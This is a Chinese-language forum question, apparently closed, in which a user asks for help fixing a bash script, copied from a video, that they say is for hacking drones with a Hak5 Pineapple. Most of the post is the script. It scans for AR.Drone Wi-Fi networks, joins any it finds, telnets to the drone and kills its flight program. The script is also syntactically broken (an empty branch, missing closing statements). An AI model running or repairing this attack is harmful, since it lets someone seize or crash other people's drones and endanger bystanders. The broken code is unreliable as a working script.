linux bash脚本意外的文件结尾(应为“then”)[已关闭]

jdzmm42g  于 2022-11-02  发布在  Linux
关注(0)|答案(1)|浏览(178)

**已关闭。**此问题需要debugging details。当前不接受答案。

编辑问题以包含desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem。这将有助于其他人回答问题。
5天前关闭。
Improve this question
嗨,我试图用hak5菠萝和bash脚本黑一个无人机,但我的脚本不起作用。我不知道如何脚本,所以我从这个youtube视频https://www.youtube.com/watch?v=xKfY0PmKDRE&t=0s复制它,当我运行它时,它说第29行:语法错误:意外文件结束(预期“then”)这是我的脚本到目前为止。有人能帮助我吗?

while true; do
if ! ( iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone ); then
echo "no drones found"
else
echo "drone found! connecting"
DRONESSID=`iw wlan0 scan | grep SSID | awk '{print $2}' | grep [a]rdrone`
iwconfig wlan1 essid $DRONESSID
sleep 2

echo "testing connection"
if ! ( iwconfig wlan1 | grep $DRONESSID ); then

# echo "geen verbinding"

else
echo "connected"

echo "yes"
ifconfig wlan1 192.168.1.5 netmask 255.255.255.0 up
sleep 2

echo "ping ping"
if ! ( ping -c1 192.168.1.1 | grep from ); then
echo "ooof"
else
echo "ping ping"
empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p /tmp/drone_empty.pid $telnet 192.168.1.1
empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo busybox "kill -KILL \`pidof program.elf\`\n"
kill `pidof empty`
echo ""
echo " kill sent"
echo ""
fi
fi

相关问题